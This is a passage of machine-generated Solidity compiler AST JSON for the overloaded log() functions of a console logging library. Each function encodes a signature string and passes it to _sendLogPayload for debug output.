memory)"}},"id":19638,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33079:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19630,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"33063:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19639,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33063:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19640,"nodeType":"ExpressionStatement","src":"33063:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"32978:3:14","parameters":{"id":19628,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19621,"mutability":"mutable","name":"p0","nameLocation":"32996:2:14","nodeType":"VariableDeclaration","scope":19642,"src":"32982:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19620,"name":"string","nodeType":"ElementaryTypeName","src":"32982:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19623,"mutability":"mutable","name":"p1","nameLocation":"33005:2:14","nodeType":"VariableDeclaration","scope":19642,"src":"33000:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19622,"name":"uint","nodeType":"ElementaryTypeName","src":"33000:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19625,"mutability":"mutable","name":"p2","nameLocation":"33017:2:14","nodeType":"VariableDeclaration","scope":19642,"src":"33009:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19624,"name":"address","nodeType":"ElementaryTypeName","src":"33009:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19627,"mutability":"mutable","name":"p3","nameLocation":"33035:2:14","nodeType":"VariableDeclaration","scope":19642,"src":"33021:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19626,"name":"string","nodeType":"ElementaryTypeName","src":"33021:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"32981:57:14"},"returnParameters":{"id":19629,"nodeType":"ParameterList","parameters":[],"src":"33053:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19665,"nodeType":"FunctionDefinition","src":"33167:181:14","nodes":[],"body":{"id":19664,"nodeType":"Block","src":"33242:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e742c616464726573732c626f6f6c29","id":19656,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"33292:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_1106a8f7a9fdb0743cc8f33bcf28da92f358b488bfc5eb2426dcc116571bae10","typeString":"literal_string \"log(string,uint,address,bool)\""},"value":"log(string,uint,address,bool)"},{"id":19657,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19644,"src":"33325:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19658,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19646,"src":"33329:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19659,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19648,"src":"33333:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19660,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19650,"src":"33337:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1106a8f7a9fdb0743cc8f33bcf28da92f358b488bfc5eb2426dcc116571bae10","typeString":"literal_string \"log(string,uint,address,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":19654,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"33268:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19655,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"33272:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"33268:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19661,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33268:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19653,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"33252:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19662,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33252:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19663,"nodeType":"ExpressionStatement","src":"33252:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"33176:3:14","parameters":{"id":19651,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19644,"mutability":"mutable","name":"p0","nameLocation":"33194:2:14","nodeType":"VariableDeclaration","scope":19665,"src":"33180:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19643,"name":"string","nodeType":"ElementaryTypeName","src":"33180:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19646,"mutability":"mutable","name":"p1","nameLocation":"33203:2:14","nodeType":"VariableDeclaration","scope":19665,"src":"33198:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19645,"name":"uint","nodeType":"ElementaryTypeName","src":"33198:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19648,"mutability":"mutable","name":"p2","nameLocation":"33215:2:14","nodeType":"VariableDeclaration","scope":19665,"src":"33207:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19647,"name":"address","nodeType":"ElementaryTypeName","src":"33207:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19650,"mutability":"mutable","name":"p3","nameLocation":"33224:2:14","nodeType":"VariableDeclaration","scope":19665,"src":"33219:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19649,"name":"bool","nodeType":"ElementaryTypeName","src":"33219:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"33179:48:14"},"returnParameters":{"id":19652,"nodeType":"ParameterList","parameters":[],"src":"33242:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19688,"nodeType":"FunctionDefinition","src":"33354:187:14","nodes":[],"body":{"id":19687,"nodeType":"Block","src":"33432:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e742c616464726573732c6164647265737329","id":19679,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"33482:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_eac892812ad5b43e056a005de5f4269f3430ecb19d3374f0e27d055022fbb381","typeString":"literal_string \"log(string,uint,address,address)\""},"value":"log(string,uint,address,address)"},{"id":19680,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19667,"src":"33518:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19681,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19669,"src":"33522:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19682,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19671,"src":"33526:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19683,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19673,"src":"33530:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_eac892812ad5b43e056a005de5f4269f3430ecb19d3374f0e27d055022fbb381","typeString":"literal_string \"log(string,uint,address,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":19677,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"33458:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19678,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"33462:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"33458:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19684,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33458:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19676,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"33442:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19685,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33442:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19686,"nodeType":"ExpressionStatement","src":"33442:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"33363:3:14","parameters":{"id":19674,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19667,"mutability":"mutable","name":"p0","nameLocation":"33381:2:14","nodeType":"VariableDeclaration","scope":19688,"src":"33367:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19666,"name":"string","nodeType":"ElementaryTypeName","src":"33367:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19669,"mutability":"mutable","name":"p1","nameLocation":"33390:2:14","nodeType":"VariableDeclaration","scope":19688,"src":"33385:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19668,"name":"uint","nodeType":"ElementaryTypeName","src":"33385:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19671,"mutability":"mutable","name":"p2","nameLocation":"33402:2:14","nodeType":"VariableDeclaration","scope":19688,"src":"33394:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19670,"name":"address","nodeType":"ElementaryTypeName","src":"33394:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19673,"mutability":"mutable","name":"p3","nameLocation":"33414:2:14","nodeType":"VariableDeclaration","scope":19688,"src":"33406:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19672,"name":"address","nodeType":"ElementaryTypeName","src":"33406:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"33366:51:14"},"returnParameters":{"id":19675,"nodeType":"ParameterList","parameters":[],"src":"33432:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19711,"nodeType":"FunctionDefinition","src":"33547:186:14","nodes":[],"body":{"id":19710,"nodeType":"Block","src":"33628:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c75696e742c75696e7429","id":19702,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"33678:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_d5cf17d093c9068e0703e037cea1f6c3048599508dc7985106a94aa34c08c926","typeString":"literal_string \"log(string,string,uint,uint)\""},"value":"log(string,string,uint,uint)"},{"id":19703,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19690,"src":"33710:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19704,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19692,"src":"33714:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19705,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19694,"src":"33718:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19706,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19696,"src":"33722:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d5cf17d093c9068e0703e037cea1f6c3048599508dc7985106a94aa34c08c926","typeString":"literal_string \"log(string,string,uint,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":19700,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"33654:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19701,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"33658:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"33654:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19707,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33654:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19699,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"33638:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19708,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33638:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19709,"nodeType":"ExpressionStatement","src":"33638:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"33556:3:14","parameters":{"id":19697,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19690,"mutability":"mutable","name":"p0","nameLocation":"33574:2:14","nodeType":"VariableDeclaration","scope":19711,"src":"33560:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19689,"name":"string","nodeType":"ElementaryTypeName","src":"33560:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19692,"mutability":"mutable","name":"p1","nameLocation":"33592:2:14","nodeType":"VariableDeclaration","scope":19711,"src":"33578:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19691,"name":"string","nodeType":"ElementaryTypeName","src":"33578:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19694,"mutability":"mutable","name":"p2","nameLocation":"33601:2:14","nodeType":"VariableDeclaration","scope":19711,"src":"33596:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19693,"name":"uint","nodeType":"ElementaryTypeName","src":"33596:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19696,"mutability":"mutable","name":"p3","nameLocation":"33610:2:14","nodeType":"VariableDeclaration","scope":19711,"src":"33605:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19695,"name":"uint","nodeType":"ElementaryTypeName","src":"33605:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"33559:54:14"},"returnParameters":{"id":19698,"nodeType":"ParameterList","parameters":[],"src":"33628:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19734,"nodeType":"FunctionDefinition","src":"33739:197:14","nodes":[],"body":{"id":19733,"nodeType":"Block","src":"33829:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c75696e742c737472696e6729","id":19725,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"33879:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_8d142cdddf40ab944834474e14a37534e67dcf2f6ffd68fd3d894f907fb76a0a","typeString":"literal_string \"log(string,string,uint,string)\""},"value":"log(string,string,uint,string)"},{"id":19726,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19713,"src":"33913:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19727,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19715,"src":"33917:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19728,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19717,"src":"33921:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19729,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19719,"src":"33925:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8d142cdddf40ab944834474e14a37534e67dcf2f6ffd68fd3d894f907fb76a0a","typeString":"literal_string \"log(string,string,uint,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":19723,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"33855:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19724,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"33859:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"33855:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19730,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33855:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19722,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"33839:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19731,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33839:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19732,"nodeType":"ExpressionStatement","src":"33839:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"33748:3:14","parameters":{"id":19720,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19713,"mutability":"mutable","name":"p0","nameLocation":"33766:2:14","nodeType":"VariableDeclaration","scope":19734,"src":"33752:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19712,"name":"string","nodeType":"ElementaryTypeName","src":"33752:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19715,"mutability":"mutable","name":"p1","nameLocation":"33784:2:14","nodeType":"VariableDeclaration","scope":19734,"src":"33770:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19714,"name":"string","nodeType":"ElementaryTypeName","src":"33770:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19717,"mutability":"mutable","name":"p2","nameLocation":"33793:2:14","nodeType":"VariableDeclaration","scope":19734,"src":"33788:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19716,"name":"uint","nodeType":"ElementaryTypeName","src":"33788:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19719,"mutability":"mutable","name":"p3","nameLocation":"33811:2:14","nodeType":"VariableDeclaration","scope":19734,"src":"33797:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19718,"name":"string","nodeType":"ElementaryTypeName","src":"33797:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"33751:63:14"},"returnParameters":{"id":19721,"nodeType":"ParameterList","parameters":[],"src":"33829:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19757,"nodeType":"FunctionDefinition","src":"33942:186:14","nodes":[],"body":{"id":19756,"nodeType":"Block","src":"34023:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c75696e742c626f6f6c29","id":19748,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"34073:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_e65658ca6578795ac405c3487ab68ec21d76f9a79d734a9ab869db5d96b4556b","typeString":"literal_string \"log(string,string,uint,bool)\""},"value":"log(string,string,uint,bool)"},{"id":19749,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19736,"src":"34105:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19750,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19738,"src":"34109:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19751,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19740,"src":"34113:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19752,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19742,"src":"34117:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e65658ca6578795ac405c3487ab68ec21d76f9a79d734a9ab869db5d96b4556b","typeString":"literal_string \"log(string,string,uint,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":19746,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"34049:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19747,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"34053:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"34049:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19753,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34049:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19745,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"34033:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19754,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34033:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19755,"nodeType":"ExpressionStatement","src":"34033:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"33951:3:14","parameters":{"id":19743,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19736,"mutability":"mutable","name":"p0","nameLocation":"33969:2:14","nodeType":"VariableDeclaration","scope":19757,"src":"33955:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19735,"name":"string","nodeType":"ElementaryTypeName","src":"33955:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19738,"mutability":"mutable","name":"p1","nameLocation":"33987:2:14","nodeType":"VariableDeclaration","scope":19757,"src":"33973:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19737,"name":"string","nodeType":"ElementaryTypeName","src":"33973:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19740,"mutability":"mutable","name":"p2","nameLocation":"33996:2:14","nodeType":"VariableDeclaration","scope":19757,"src":"33991:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19739,"name":"uint","nodeType":"ElementaryTypeName","src":"33991:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"i